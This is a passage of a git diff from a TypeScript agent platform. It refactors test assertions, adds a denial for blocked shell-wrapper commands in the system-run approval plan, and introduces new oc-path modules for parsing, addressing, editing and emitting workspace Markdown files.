unifiedDistGraph(); + const distGraph = requireUnifiedDistGraph(); expect(entryKeys(distGraph)).toEqual( expect.arrayContaining([ @@ -102,9 +110,9 @@ describe("tsdown config", () => { }); it("keeps gateway lifecycle lazy runtime behind one stable dist entry", () => { - const distGraph = unifiedDistGraph(); + const distGraph = requireUnifiedDistGraph(); - expect(entrySources(distGraph as TsdownConfigEntry)).toEqual( + expect(entrySources(distGraph)).toEqual( expect.objectContaining({ "cli/gateway-lifecycle.runtime": "src/cli/gateway-cli/lifecycle.runtime.ts", }), @@ -112,9 +120,9 @@ describe("tsdown config", () => { }); it("keeps reply dispatcher lazy runtime behind one root stable dist entry", () => { - const distGraph = unifiedDistGraph(); + const distGraph = requireUnifiedDistGraph(); - expect(entrySources(distGraph as TsdownConfigEntry)).toEqual( + expect(entrySources(distGraph)).toEqual( expect.objectContaining({ "provider-dispatcher.runtime": "src/auto-reply/reply/provider-dispatcher.runtime.ts", }), @@ -139,15 +147,14 @@ describe("tsdown config", () => { it("does not emit plugin-sdk or hooks from a separate dist graph", () => { const configs = asConfigArray(tsdownConfig); + const hookEntries = configs.flatMap((config) => + Array.isArray(config.entry) + ? config.entry.filter((entry) => entry.includes("src/hooks/")) + : [], + ); - expect(configs.some((config) => config.outDir === "dist/plugin-sdk")).toBe(false); - expect( - configs.some((config) => - Array.isArray(config.entry) - ? config.entry.some((entry) => entry.includes("src/hooks/")) - : false, - ), - ).toBe(false); + expect(configs.map((config) => config.outDir)).not.toContain("dist/plugin-sdk"); + expect(hookEntries).toEqual([]); }); it("externalizes known heavy native dependencies", () => { @@ -175,7 +182,7 @@ describe("tsdown config", () => { if (typeof external !== "function") { throw new Error("expected unified graph external predicate"); } - const externalize = external as TsdownExternalFunction; + const externalize = external; expect(externalize("qrcode-terminal/lib/main.js", undefined, false)).toBe(true); }); diff --git a/src/infra/update-package-manager.test.ts b/src/infra/update-package-manager.test.ts index 0a28fc278a8..db0c97ccec9 100644 --- a/src/infra/update-package-manager.test.ts +++ b/src/infra/update-package-manager.test.ts @@ -34,7 +34,9 @@ describe("resolveUpdateBuildManager", () => { expect(result.kind).toBe("resolved"); if (result.kind === "resolved") { expect(result.manager).toBe("pnpm"); - expect(paths.some((value) => value.includes("openclaw-update-pnpm-"))).toBe(true); + expect(paths).toEqual( + expect.arrayContaining([expect.stringContaining("openclaw-update-pnpm-")]), + ); await result.cleanup?.(); } }); diff --git a/src/markdown/ir.table-bullets.test.ts b/src/markdown/ir.table-bullets.test.ts index 358cb7eaca9..2cefd1c51de 100644 --- a/src/markdown/ir.table-bullets.test.ts +++ b/src/markdown/ir.table-bullets.test.ts @@ -53,7 +53,7 @@ describe("markdownToIR tableMode bullets", () => { expect(ir.text).toContain("| A | B |"); expect(ir.text).toContain("| 1 | 2 |"); expect(ir.text).not.toContain("•"); - expect(ir.styles.some((style) => style.style === "code_block")).toBe(false); + expect(ir.styles.map((style) => style.style)).not.toContain("code_block"); }); it("handles empty cells gracefully", () => { @@ -81,10 +81,11 @@ describe("markdownToIR tableMode bullets", () => { const ir = markdownToIR(md, { tableMode: "bullets" }); // Should have bold style for row label - const hasRowLabelBold = ir.styles.some( - (s) => s.style === "bold" && ir.text.slice(s.start, s.end) === "Row1", - ); - expect(hasRowLabelBold).toBe(true); + expect( + ir.styles + .filter((style) => style.style === "bold") + .map((style) => ir.text.slice(style.start, style.end)), + ).toContain("Row1"); }); it("renders tables as code blocks in code mode", () => { @@ -98,7 +99,7 @@ describe("markdownToIR tableMode bullets", () => { expect(ir.text).toContain("| A | B |"); expect(ir.text).toContain("| 1 | 2 |"); - expect(ir.styles.some((style) => style.style === "code_block")).toBe(true); + expect(ir.styles.map((style) => style.style)).toContain("code_block"); }); it("preserves inline styles and links in bullets mode", () => { @@ -110,10 +111,11 @@ describe("markdownToIR tableMode bullets", () => { const ir = markdownToIR(md, { tableMode: "bullets" }); - const hasItalic = ir.styles.some( - (s) => s.style === "italic" && ir.text.slice(s.start, s.end) === "Row", - ); - expect(hasItalic).toBe(true); - expect(ir.links.some((link) => link.href === "https://example.com")).toBe(true); + expect( + ir.styles + .filter((style) => style.style === "italic") + .map((style) => ir.text.slice(style.start, style.end)), + ).toContain("Row"); + expect(ir.links.map((link) => link.href)).toContain("https://example.com"); }); }); diff --git a/src/markdown/render-aware-chunking.test.ts b/src/markdown/render-aware-chunking.test.ts index 92b66ca89bc..5481f839554 100644 --- a/src/markdown/render-aware-chunking.test.ts +++ b/src/markdown/render-aware-chunking.test.ts @@ -31,7 +31,7 @@ describe("renderMarkdownIRChunksWithinLimit", () => { expect(chunks.map((chunk) => chunk.source.text)).toEqual(["alpha ", "<<"]); expect(chunks.map((chunk) => chunk.source.text).join("")).toBe("alpha <<"); - expect(chunks.every((chunk) => chunk.rendered.length <= 8)).toBe(true); + expect(chunks.filter((chunk) => chunk.rendered.length > 8)).toEqual([]); }); it("preserves formatting when a rendered chunk is re-split", () => { @@ -46,8 +46,8 @@ describe("renderMarkdownIRChunksWithinLimit", () => { }); expect(chunks.map((chunk) => chunk.source.text)).toEqual(["Which of ", "these"]); - expect(chunks.every((chunk) => chunk.rendered.startsWith(""))).toBe(true); - expect(chunks.every((chunk) => chunk.rendered.endsWith(""))).toBe(true); + expect(chunks.filter((chunk) => !chunk.rendered.startsWith(""))).toEqual([]); + expect(chunks.filter((chunk) => !chunk.rendered.endsWith(""))).toEqual([]); }); it("checks exact candidates instead of assuming rendered length is monotonic", () => { diff --git a/src/media-understanding/apply.test.ts b/src/media-understanding/apply.test.ts index da28bca8978..a4d219d4207 100644 --- a/src/media-understanding/apply.test.ts +++ b/src/media-understanding/apply.test.ts @@ -819,7 +819,7 @@ describe("applyMediaUnderstanding", () => { "16000", "-c:a", "pcm_s16le", - expect.stringMatching(/telegram-voice\.wav$/), + expect.stringMatching(/telegram-voice\.wav.*\.part$/), ]), ); expect(mockedRunExec).toHaveBeenCalledWith( diff --git a/src/media-understanding/image.test.ts b/src/media-understanding/image.test.ts index 15d4b8185cb..43a9a2b593a 100644 --- a/src/media-understanding/image.test.ts +++ b/src/media-understanding/image.test.ts @@ -537,8 +537,10 @@ describe("describeImageWithModel", () => { }); expect(completeMock).toHaveBeenCalledTimes(2); const [, , retryOptions] = completeMock.mock.calls[1] ?? []; - expect(retryOptions?.onPayload).toEqual(expect.any(Function)); - const retryPayload = await retryOptions?.onPayload?.( + if (!retryOptions?.onPayload) { + throw new Error("expected retry payload mapper"); + } + const retryPayload = await retryOptions.onPayload( { reasoning: { effort: "high", summary: "auto" }, reasoning_effort: "high", diff --git a/src/media/audio-transcode.test.ts b/src/media/audio-transcode.test.ts index b0c28328e17..1451d926efc 100644 --- a/src/media/audio-transcode.test.ts +++ b/src/media/audio-transcode.test.ts @@ -79,7 +79,9 @@ describe("transcodeAudioBufferToOpus", () => { if (!capturedOutputPath) { throw new Error("missing ffmpeg output path"); } - expect(path.basename(capturedOutputPath)).toBe("escape.opus"); + const outputBaseName = path.basename(capturedOutputPath); + expect(outputBaseName).toContain("escape.opus"); + expect(outputBaseName).toMatch(/\.part$/); await import("node:fs/promises").then((fs) => fs.writeFile(capturedOutputPath!, Buffer.from("opus-output")), ); diff --git a/src/memory-host-sdk/host/backend-config.test.ts b/src/memory-host-sdk/host/backend-config.test.ts index 2fdf3156caf..fe6bdcf46fc 100644 --- a/src/memory-host-sdk/host/backend-config.test.ts +++ b/src/memory-host-sdk/host/backend-config.test.ts @@ -1,8 +1,9 @@ import { describe, expect, it } from "vitest"; +import { resolveMemoryBackendConfig as packageResolveMemoryBackendConfig } from "../../../packages/memory-host-sdk/src/host/backend-config.js"; import { resolveMemoryBackendConfig } from "./backend-config.js"; describe("memory-host-sdk backend-config bridge", () => { it("exports the package-owned backend resolver", () => { - expect(resolveMemoryBackendConfig).toEqual(expect.any(Function)); + expect(resolveMemoryBackendConfig).toBe(packageResolveMemoryBackendConfig); }); }); diff --git a/src/node-host/invoke-system-run-plan.test.ts b/src/node-host/invoke-system-run-plan.test.ts index 308807f4f6c..638fc1cfe54 100644 --- a/src/node-host/invoke-system-run-plan.test.ts +++ b/src/node-host/invoke-system-run-plan.test.ts @@ -833,7 +833,7 @@ describe("hardenApprovedExecutionPaths", () => { throw new Error("unreachable"); } const mutableFileOperand = prepared.plan.mutableFileOperand; - if (mutableFileOperand === undefined) { + if (mutableFileOperand == null) { throw new Error("expected mutable file operand snapshot"); } fs.writeFileSync(fixture.scriptPath, 'console.log("PWNED");\n'); diff --git a/src/node-host/invoke-system-run-plan.ts b/src/node-host/invoke-system-run-plan.ts index 0df201108d4..40fbe0ce3d3 100644 --- a/src/node-host/invoke-system-run-plan.ts +++ b/src/node-host/invoke-system-run-plan.ts @@ -8,6 +8,7 @@ import type { import { resolveCommandResolutionFromArgv } from "../infra/exec-command-resolution.js"; import { isInterpreterLikeSafeBin } from "../infra/exec-safe-bin-runtime-policy.js"; import { + isBlockedShellWrapperCommand, POSIX_SHELL_WRAPPERS, normalizeExecutableToken, unwrapKnownDispatchWrapperInvocation, @@ -1303,6 +1304,12 @@ export function buildSystemRunApprovalPlan(params: { if (command.argv.length === 0) { return { ok: false, message: "command required" }; } + if (command.shellPayload === null && isBlockedShellWrapperCommand(command.argv)) { + return { + ok: false, + message: "SYSTEM_RUN_DENIED: approval cannot safely bind this interpreter/runtime command", + }; + } const hardening = hardenApprovedExecutionPaths({ approvedByAsk: true, argv: command.argv, diff --git a/src/node-host/invoke-system-run.test.ts b/src/node-host/invoke-system-run.test.ts index de3265952af..e027f0b2ac9 100644 --- a/src/node-host/invoke-system-run.test.ts +++ b/src/node-host/invoke-system-run.test.ts @@ -1528,7 +1528,7 @@ describe("handleSystemRunInvoke mac app exec host routing", () => { const tempDir = createFixtureDir("openclaw-shell-wrapper-allow-"); const prepared = buildSystemRunApprovalPlan({ - command: ["/bin/sh", "-lc", "cd ."], + command: ["/bin/sh", "-c", "cd ."], cwd: tempDir, }); expect(prepared.ok).toBe(true); diff --git a/src/oc-path/ast.ts b/src/oc-path/ast.ts new file mode 100644 index 00000000000..881206f427a --- /dev/null +++ b/src/oc-path/ast.ts @@ -0,0 +1,125 @@ +/** + * Workspace-Markdown AST — generic addressing index over the 8 workspace + * files openclaw treats as opaque text in `loadWorkspaceBootstrapFiles`. + * + * **The AST is purely an addressing index.** It does NOT encode opinions + * about what a "valid" SOUL.md / AGENTS.md / MEMORY.md looks like; it + * exposes the markdown features (frontmatter, sections, items, tables, + * code blocks) that any `OcPath` (`{ file, section?, item?, field? }`) can + * resolve over. Per-file lint opinions ride in @openclaw/oc-lint, not + * here. + * + * **Byte-fidelity contract**: `emitMd(parse(raw)) === raw` for every input + * the parser accepts. The parser preserves the original bytes on the + * root node (`raw`) so emitters can round-trip even content the AST + * doesn't structurally model (foreign content, idiosyncratic whitespace). + * + * @module @openclaw/oc-path/ast + */ + +/** + * Diagnostic emitted by the parser. Used by lint rules and parse-error + * surfacing alike. Severity is `info` by default; the parser emits + * `warning` for suspicious-but-recoverable inputs (e.g., unclosed + * frontmatter fence) and never throws. + */ +export interface Diagnostic { + readonly line: number; + readonly message: string; + readonly severity: 'info' | 'warning' | 'error'; + readonly code?: string; +} + +/** + * A frontmatter key/value pair. Keys are preserved as written; values + * are unquoted (surrounding `"` or `'` stripped) but otherwise verbatim. + */ +export interface FrontmatterEntry { + readonly key: string; + readonly value: string; + readonly line: number; +} + +/** + * A bullet-list item inside a section. Items are addressable via OcPath + * `{ file, section, item }` where `item` is the slug of the bullet's + * text (or the slug of `kv.key` when the bullet is in `- key: value` + * shape). + * + * `kv` is populated when the bullet matches `- : ` (the + * common pattern in AGENTS.md / TOOLS.md / USER.md). Lint rules use it + * for field-level addressing via `OcPath.field`. + */ +export interface AstItem { + readonly text: string; + readonly slug: string; + readonly line: number; + readonly kv?: { readonly key: string; readonly value: string }; +} + +/** + * A markdown table. Tables surface in `## Tool Guidance` blocks and + * elsewhere; lint rules can address rows by header value if needed. + */ +export interface AstTable { + readonly headers: readonly string[]; + readonly rows: readonly (readonly string[])[]; + readonly line: number; +} + +/** + * A fenced code block. Carries the language tag (or `null`) and the + * verbatim body. + */ +export interface AstCodeBlock { + readonly lang: string | null; + readonly text: string; + readonly line: number; +} + +/** + * An H2-delimited block. The `slug` is the kebab-case lowercase form of + * `heading` and is what OcPath `section` matches against. `bodyText` is + * the prose between this heading and the next H2 (or end of file), + * verbatim. `items`, `tables`, `codeBlocks` are extracted from + * `bodyText` for addressing convenience but the raw text is preserved. + */ +export interface AstBlock { + readonly heading: string; + readonly slug: string; + readonly line: number; + readonly bodyText: string; + readonly items: readonly AstItem[]; + readonly tables: readonly AstTable[]; + readonly codeBlocks: readonly AstCodeBlock[]; +} + +/** + * The root AST node. Always carries `raw` for byte-identical round-trip. + * `frontmatter` is empty when the file has none. `preamble` is the + * prose before the first H2 (may be empty). `blocks` is the H2 tree in + * document order. + * + * `kind: 'md'` discriminator matches the jsonc / jsonl / yaml AST + * shapes; the universal `setOcPath` / `resolveOcPath` verbs dispatch + * via this tag at runtime so callers don't have to thread kind + * through the call site. + * + * The generic shape is the same for all 9 workspace files; opinions + * (`AGENTS_TOOLS_SECTION_EMPTY`, etc.) ride in lint rules, not here. + */ +export interface MdAst { + readonly kind: 'md'; + readonly raw: string; + readonly frontmatter: readonly FrontmatterEntry[]; + readonly preamble: string; + readonly blocks: readonly AstBlock[]; +} + +/** + * Parser output: the AST plus any diagnostics from the parse pass. + */ +export interface ParseResult { + readonly ast: MdAst; + readonly diagnostics: readonly Diagnostic[]; +} diff --git a/src/oc-path/dispatch.ts b/src/oc-path/dispatch.ts new file mode 100644 index 00000000000..f36a83b0fa3 --- /dev/null +++ b/src/oc-path/dispatch.ts @@ -0,0 +1,31 @@ +/** + * Cross-kind utilities. The substrate exposes per-kind verbs only; + * `inferKind` is a convention helper for callers who want to map + * filename → kind so they can pick the right `parseXxx` / `setXxx` / + * `resolveXxx` function. + * + * Earlier drafts had `resolveOcPath` / `setOcPath` / `appendOcPath` + * universal dispatchers with tagged-union AST inputs. They were dropped + * — the kind tag bled through every consumer (lint runner, doctor + * fixers, tests) since those code paths still needed to know the kind + * to use the result. Per-kind verbs are honest about input/output. + * + * @module @openclaw/oc-path/dispatch + */ + +export type OcKind = 'md' | 'jsonc' | 'jsonl' | 'yaml'; + +/** + * Recommend a kind from a filename. Pure convention helper — returns + * the substrate's default mapping. Consumers can override. + */ +export function inferKind(filename: string): OcKind | null { + const lower = filename.toLowerCase(); + if (lower.endsWith('.md')) {return 'md';} + if (lower.endsWith('.jsonl') || lower.endsWith('.ndjson')) {return 'jsonl';} + if (lower.endsWith('.jsonc') || lower.endsWith('.json')) {return 'jsonc';} + if (lower.endsWith('.yaml') || lower.endsWith('.yml') || lower.endsWith('.lobster')) { + return 'yaml'; + } + return null; +} diff --git a/src/oc-path/edit.ts b/src/oc-path/edit.ts new file mode 100644 index 00000000000..b762d982d2d --- /dev/null +++ b/src/oc-path/edit.ts @@ -0,0 +1,153 @@ +/** + * Mutate a `MdAst` at an OcPath. Returns a new AST with the + * value replaced; the original is unchanged. + * + * Writable surface: + * + * oc://FILE/[frontmatter]/key → frontmatter entry value + * oc://FILE/section/item/field → item.kv.value (when item has kv shape) + * + * Section bodies, tables, and code blocks are NOT writable through + * this primitive — they're prose, and a generic "set" doesn't compose + * cleanly. Doctor fixers handle structural edits via dedicated verbs. + * + * @module @openclaw/oc-path/edit + */ + +import type { AstBlock, AstItem, FrontmatterEntry, MdAst } from './ast.js'; +import type { OcPath } from './oc-path.js'; + +export type MdEditResult = + | { readonly ok: true; readonly ast: MdAst } + | { + readonly ok: false; + readonly reason: 'unresolved' | 'not-writable' | 'no-item-kv'; + }; + +/** + * Replace the value at `path` with `newValue`. The new AST has fresh + * `raw` re-rendered from the structural fields. + */ +export function setMdOcPath( + ast: MdAst, + path: OcPath, + newValue: string, +): MdEditResult { + // Frontmatter address: oc://FILE/[frontmatter]/ + if (path.section === '[frontmatter]') { + const key = path.item ?? path.field; + if (key === undefined) {return { ok: false, reason: 'unresolved' };} + const idx = ast.frontmatter.findIndex((e) => e.key === key); + if (idx === -1) {return { ok: false, reason: 'unresolved' };} + const existing = ast.frontmatter[idx]; + if (existing === undefined) {return { ok: false, reason: 'unresolved' };} + const newEntry: FrontmatterEntry = { ...existing, value: newValue }; + const newFm = ast.frontmatter.slice(); + newFm[idx] = newEntry; + return finalize({ ...ast, frontmatter: newFm }); + } + + // Item-field address: oc://FILE/section/item/field + if ( + path.section === undefined || + path.item === undefined || + path.field === undefined + ) { + return { ok: false, reason: 'not-writable' }; + } + + const sectionSlug = path.section.toLowerCase(); + const blockIdx = ast.blocks.findIndex((b) => b.slug === sectionSlug); + if (blockIdx === -1) {return { ok: false, reason: 'unresolved' };} + const block = ast.blocks[blockIdx]; + if (block === undefined) {return { ok: false, reason: 'unresolved' };} + + const itemSlug = path.item.toLowerCase(); + const itemIdx = block.items.findIndex((i) => i.slug === itemSlug); + if (itemIdx === -1) {return { ok: false, reason: 'unresolved' };} + const item = block.items[itemIdx]; + if (item === undefined) {return { ok: false, reason: 'unresolved' };} + if (item.kv === undefined) {return { ok: false, reason: 'no-item-kv' };} + if (item.kv.key.toLowerCase() !== path.field.toLowerCase()) { + return { ok: false, reason: 'unresolved' }; + } + + const newItem: AstItem = { + ...item, + kv: { key: item.kv.key, value: newValue }, + }; + const newItems = block.items.slice(); + newItems[itemIdx] = newItem; + const newBlock: AstBlock = { + ...block, + items: newItems, + bodyText: rebuildBlockBody(block, newItems), + }; + const newBlocks = ast.blocks.slice(); + newBlocks[blockIdx] = newBlock; + return finalize({ ...ast, blocks: newBlocks }); +} + +/** + * Rebuild block.bodyText so emit-roundtrip mode reflects the edit. We + * do a minimal in-place substitution on the existing bodyText: find + * each `- key: value` line for a touched item and rewrite the value. + * + * For items without a matching bullet line, we leave bodyText alone + * (the structural fields take precedence in render mode anyway). + */ +function rebuildBlockBody(block: AstBlock, newItems: readonly AstItem[]): string { + let body = block.bodyText; + for (let i = 0; i < newItems.length; i++) { + const newItem = newItems[i]; + const oldItem = block.items[i]; + if (newItem === undefined || oldItem === undefined) {continue;} + if (newItem.kv === undefined || oldItem.kv === undefined) {continue;} + if (newItem.kv.value === oldItem.kv.value) {continue;} + const re = new RegExp( + `^(\\s*-\\s*${escapeRegex(oldItem.kv.key)}\\s*:\\s*).*$`, + 'm', + ); + body = body.replace(re, `$1${newItem.kv.value}`); + } + return body; +} + +function escapeRegex(s: string): string { + return s.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'); +} + +/** + * Re-render `ast.raw` from the (possibly mutated) tree using the same + * shape the round-trip emitter expects. + */ +function finalize(ast: MdAst): MdEditResult { + const parts: string[] = []; + if (ast.frontmatter.length > 0) { + parts.push('---'); + for (const fm of ast.frontmatter) { + parts.push(`${fm.key}: ${formatFrontmatterValue(fm.value)}`); + } + parts.push('---'); + } + if (ast.preamble.length > 0) { + if (parts.length > 0) {parts.push('');} + parts.push(ast.preamble); + } + for (const block of ast.blocks) { + if (parts.length > 0) {parts.push('');} + parts.push(`## ${block.heading}`); + if (block.bodyText.length > 0) {parts.push(block.bodyText);} + } + const raw = parts.join('\n'); + return { ok: true, ast: { ...ast, raw } }; +} + +function formatFrontmatterValue(value: string): string { + if (value.length === 0) {return '""';} + if (/[:#&*?|<>=!%@`,[\]{}\r\n]/.test(value)) { + return JSON.stringify(value); + } + return value; +} + diff --git a/src/oc-path/emit.ts b/src/oc-path/emit.ts new file mode 100644 index 00000000000..79b8ce4b32f --- /dev/null +++ b/src/oc-path/emit.ts @@ -0,0 +1,137 @@ +/** + * Emit an AST back to bytes. + * + * **Two modes**: + * + * 1. **Round-trip** — the AST hasn't been mutated since `parseMd` + * produced it. Returns `ast.raw` verbatim. Byte-identical. + * + * 2. **Mutation-aware** — the AST has been modified (frontmatter + * entry edited, item kv.value changed, block reordered). Returns + * a freshly-rendered representation. **Not** byte-identical to a + * hypothetical "perfect" rewrite — we render canonical forms + * (LF endings, single space after `:` in frontmatter, etc.). + * Callers needing byte-fidelity for partial edits should patch + * `raw` directly instead of mutating the AST. + * + * In both modes, every emitted leaf flows through `guardSentinel` so a + * `__OPENCLAW_REDACTED__` literal anywhere in the output throws + * `OcEmitSentinelError`. This is the substrate guard: callers can't + * accidentally write a redacted view to disk through this emitter. + * + * @module @openclaw/oc-path/emit + */ + +import type { FrontmatterEntry, MdAst } from './ast.js'; +import { guardSentinel } from './sentinel.js'; + +/** + * Emit options. `mode: 'roundtrip'` (default) returns `ast.raw` if + * present and not flagged as dirty; `mode: 'render'` always + * re-renders. + */ +export interface EmitOptions { + readonly mode?: 'roundtrip' | 'render'; + /** + * When provided, the emitter walks every emitted leaf string through + * `guardSentinel(value, ocPath)`. Default uses the file name + * (`oc://`) when the field-precise path can't be determined. + * Callers that want richer error context can supply `ocPathFor` to + * compute a path per leaf. + */ + readonly fileNameForGuard?: string; + /** + * See `JsoncEmitOptions.acceptPreExistingSentinel` for the rationale. + * Default `true` — round-trip echoes parsed bytes without scanning + * for the sentinel. Render mode scans every leaf regardless. + */ + readonly acceptPreExistingSentinel?: boolean; +} + +/** + * Emit the AST. In render mode, throws `OcEmitSentinelError` if any + * leaf string matches `REDACTED_SENTINEL`. In round-trip mode, echoes + * `ast.raw` verbatim (does not scan unless caller opts in via + * `acceptPreExistingSentinel: false`). + */ +export function emitMd(ast: MdAst, opts: EmitOptions = {}): string { + const mode = opts.mode ?? 'roundtrip'; + const guardPath = opts.fileNameForGuard ? `oc://${opts.fileNameForGuard}` : 'oc://'; + const acceptPreExisting = opts.acceptPreExistingSentinel ?? true; + + if (mode === 'roundtrip') { + // Round-trip trusts parsed bytes — see emit-policy comment in + // jsonc/emit.ts. A markdown file legitimately containing the + // sentinel literal (in a code block, in a pasted error log) would + // otherwise become a workspace-wide emit DoS. + if (!acceptPreExisting && ast.raw.includes('__OPENCLAW_REDACTED__')) { + guardSentinel('__OPENCLAW_REDACTED__', `${guardPath}/[raw]`); + } + return ast.raw; + } + + // Render mode: rebuild from structural fields. This loses + // formatting details (extra blank lines, custom whitespace, etc.) + // but is correct. + const parts: string[] = []; + + if (ast.frontmatter.length > 0) { + parts.push('---'); + for (const fm of ast.frontmatter) { + guardSentinel(fm.value, `${guardPath}/[frontmatter]/${fm.key}`); + parts.push(`${fm.key}: ${formatFrontmatterValue(fm.value)}`); + } + parts.push('---'); + } + + if (ast.preamble.length > 0) { + guardSentinel(ast.preamble, `${guardPath}/[preamble]`); + if (parts.length > 0) {parts.push('');} + parts.push(ast.preamble); + } + + for (const block of ast.blocks) { + if (parts.length > 0) {parts.push('');} + parts.push(`## ${block.heading}`); + if (block.bodyText.length > 0) { + // Walk items + frontmatter-key value strings for sentinels; + // body text is also walked as one big string in case of any raw + // sentinel. + guardSentinel(block.bodyText, `${guardPath}/${block.slug}/[body]`); + for (const item of block.items) { + if (item.kv) { + guardSentinel(item.kv.value, `${guardPath}/${block.slug}/${item.slug}/${item.kv.key}`); + } + } + parts.push(block.bodyText); + } + } + + return parts.join('\n'); +} + +function formatFrontmatterValue(value: string): string { + // Quote values containing characters that would confuse a YAML + // parser; otherwise emit bare. + if (value.length === 0) {return '""';} + if (/[:#&*?|<>=!%@`,[\]{}\r\n]/.test(value)) { + return JSON.stringify(value); + } + return value; +} + +/** + * Mark an AST as "dirty" — useful for callers that mutate the AST + * structurally and want emitMd() to re-render rather than round-trip. + * + * Currently a no-op flag — emitMd() decides based on `opts.mode`. Kept + * as an extension point for a future invariant where the AST tracks + * its own dirty state. + */ +export function markDirty(_ast: MdAst): void { + // intentionally empty +} + +// Re-export the frontmatter type for convenience so tests don't need +// to import from ast.ts. +export type { FrontmatterEntry }; diff --git a/src/oc-path/find.ts b/src/oc-path/find.ts new file mode 100644 index 00000000000..6a7d2a64e79 --- /dev/null +++ b/src/oc-path/find.ts @@ -0,0 +1,852 @@ +/** + * `findOcPaths` — universal multi-match verb. Pattern syntax extends + * `OcPath` with two wildcard tokens: + * + * `*` — match a single sub-segment (one map key / one array index) + * `**` — match zero or more sub-segments at any depth (recursive) + * + * **Why a separate verb**: `resolveOcPath` and `setOcPath` are + * single-match — they require an exact path because they return one + * value or write one leaf. A pattern would be ambiguous. `findOcPaths` + * is the search verb: pass a pattern, get every concrete OcPath that + * matches plus its `OcMatch` (kind + leaf text / node descriptor). + * + * Every returned `OcPathMatch` carries a concrete (wildcard-free) + * `OcPath`, so callers can pipe results through `setOcPath` or + * `resolveOcPath` without rebuilding the path. The slot shape of the + * input pattern is preserved (a `*` in the `item` slot produces a + * concrete path with the matched value still in `item`). + * + * **Use cases driving v0**: + * - lint rules iterating `oc://workflow.lobster/steps/* /command` + * - jsonl session walks `oc://session/* /eventType` + * - md frontmatter sweeps `oc://SOUL.md/[frontmatter]/*` + * + * @module @openclaw/oc-path/find + */ + +import { isMap, isScalar, isSeq, type Node, type Pair } from 'yaml'; +import type { JsoncValue } from './jsonc/ast.js'; +import type { JsonlAst, JsonlLine } from './jsonl/ast.js'; +import type { MdAst } from './ast.js'; +import type { OcPath } from './oc-path.js'; +import { + MAX_TRAVERSAL_DEPTH, + OcPathError, + WILDCARD_RECURSIVE, + WILDCARD_SINGLE, + evaluatePredicate, + isOrdinalSeg, + isPositionalSeg, + isPredicateSeg, + isQuotedSeg, + isUnionSeg, + parseOrdinalSeg, + parsePredicateSeg, + parseUnionSeg, + quoteSeg, + resolvePositionalSeg, + splitRespectingBrackets, + unquoteSeg, +} from './oc-path.js'; +import type { PredicateSpec } from './oc-path.js'; +import type { OcAst, OcMatch } from './universal.js'; +import { resolveOcPath } from './universal.js'; + +// ---------- Public types --------------------------------------------------- + +/** A find result: a concrete (wildcard-free) path plus its match info. */ +export interface OcPathMatch { + readonly path: OcPath; + readonly match: OcMatch; +} + +/** + * The slot a sub-segment came from in the input pattern. Walker outputs + * carry slot tags so re-packing into `OcPath` preserves the pattern's + * shape (a `*` in the `item` slot produces a path with the matched + * value in `item`, not joined into `section`). + */ +type Slot = 'section' | 'item' | 'field'; +interface SlotSub { + readonly slot: Slot; + readonly value: string; +} + +/** A single tagged sub-segment of the pattern (post dot-split). */ +interface PatternSub { + readonly slot: Slot; + readonly value: string; +} + +// ---------- Public verb ---------------------------------------------------- + +/** + * Match `pattern` against `ast` and return every concrete OcPath that + * resolves. Empty array when nothing matches. + * + * Pattern semantics: same shape as `OcPath`, but any sub-segment may be + * `*` (single-segment wildcard) or `**` (recursive descent). A pattern + * with no wildcards is equivalent to a single `resolveOcPath` call, + * wrapped into the find shape. + * + * **Insertion-marker patterns are not supported**: a `+`/`+key`/`+nnn` + * suffix is meaningless in find context (you don't search for a place + * to insert). Such patterns return an empty array. + */ +export function findOcPaths(ast: OcAst, pattern: OcPath): readonly OcPathMatch[] { + const subs = patternSubs(pattern); + // Fast-path: no expansion needed — pure literals just resolve. + // Anything that can yield 0+ matches (wildcard, positional, union, + // predicate) flows through the walker. + const needsExpansion = subs.some( + (s) => + s.value === WILDCARD_SINGLE || + s.value === WILDCARD_RECURSIVE || + isPositionalSeg(s.value) || + isUnionSeg(s.value) || + isPredicateSeg(s.value), + ); + if (!needsExpansion) { + const m = resolveOcPath(ast, pattern); + return m === null ? [] : [{ path: pattern, match: m }]; + } + const concretePaths = expand(ast, subs, pattern); + + const out: OcPathMatch[] = []; + for (const concrete of concretePaths) { + const m = resolveOcPath(ast, concrete); + if (m !== null) {out.push({ path: concrete, match: m });} + } + return out; +} + +// ---------- Pattern unpacking --------------------------------------------- + +function patternSubs(pattern: OcPath): readonly PatternSub[] { + const out: PatternSub[] = []; + // Bracket-aware split so dots inside `[k=1.0]` or `{a.b,c}` aren't + // treated as sub-segment delimiters (P-012/P-013). + if (pattern.section !== undefined) { + for (const v of splitRespectingBrackets(pattern.section, '.')) {out.push({ slot: 'section', value: v });} + } + if (pattern.item !== undefined) { + for (const v of splitRespectingBrackets(pattern.item, '.')) {out.push({ slot: 'item', value: v });} + } + if (pattern.field !== undefined) { + for (const v of splitRespectingBrackets(pattern.field, '.')) {out.push({ slot: 'field', value: v });} + } + return out; +} + +function repackSlotSubs(pattern: OcPath, slotSubs: readonly SlotSub[]): OcPath { + const sectionSubs: string[] = []; + const itemSubs: string[] = []; + const fieldSubs: string[] = []; + for (const s of slotSubs) { + if (s.slot === 'section') {sectionSubs.push(s.value);} + else if (s.slot === 'item') {itemSubs.push(s.value);} + else {fieldSubs.push(s.value);} + } + return { + file: pattern.file, + ...(sectionSubs.length > 0 ? { section: sectionSubs.join('.') } : {}), + ...(itemSubs.length > 0 ? { item: itemSubs.join('.') } : {}), + ...(fieldSubs.length > 0 ? { field: fieldSubs.join('.') } : {}), + ...(pattern.session !== undefined ? { session: pattern.session } : {}), + }; +} + +// ---------- Per-kind dispatch --------------------------------------------- + +function expand(ast: OcAst, subs: readonly PatternSub[], pattern: OcPath): readonly OcPath[] { + const concretePaths: OcPath[] = []; + // Walker enumerates concrete sub-segments by walking the AST against + // `subs`, emitting one slot-tagged-sub list per leaf. Each list is + // re-packed into an OcPath preserving the pattern's slot shape. + const onMatch = (slotSubs: readonly SlotSub[]): void => { + concretePaths.push(repackSlotSubs(pattern, slotSubs)); + }; + switch (ast.kind) { + case 'yaml': + walkYaml(ast.doc.contents as Node | null, subs, 0, [], onMatch); + break; + case 'jsonc': + if (ast.root !== null) {walkJsonc(ast.root, subs, 0, [], onMatch);} + break; + case 'jsonl': + walkJsonl(ast, subs, 0, [], onMatch); + break; + case 'md': + walkMd(ast, subs, 0, [], onMatch); + break; + } + return concretePaths; +} + +// ---------- YAML walker ---------------------------------------------------- + +function walkYaml( + node: Node | null, + subs: readonly PatternSub[], + i: number, + walked: 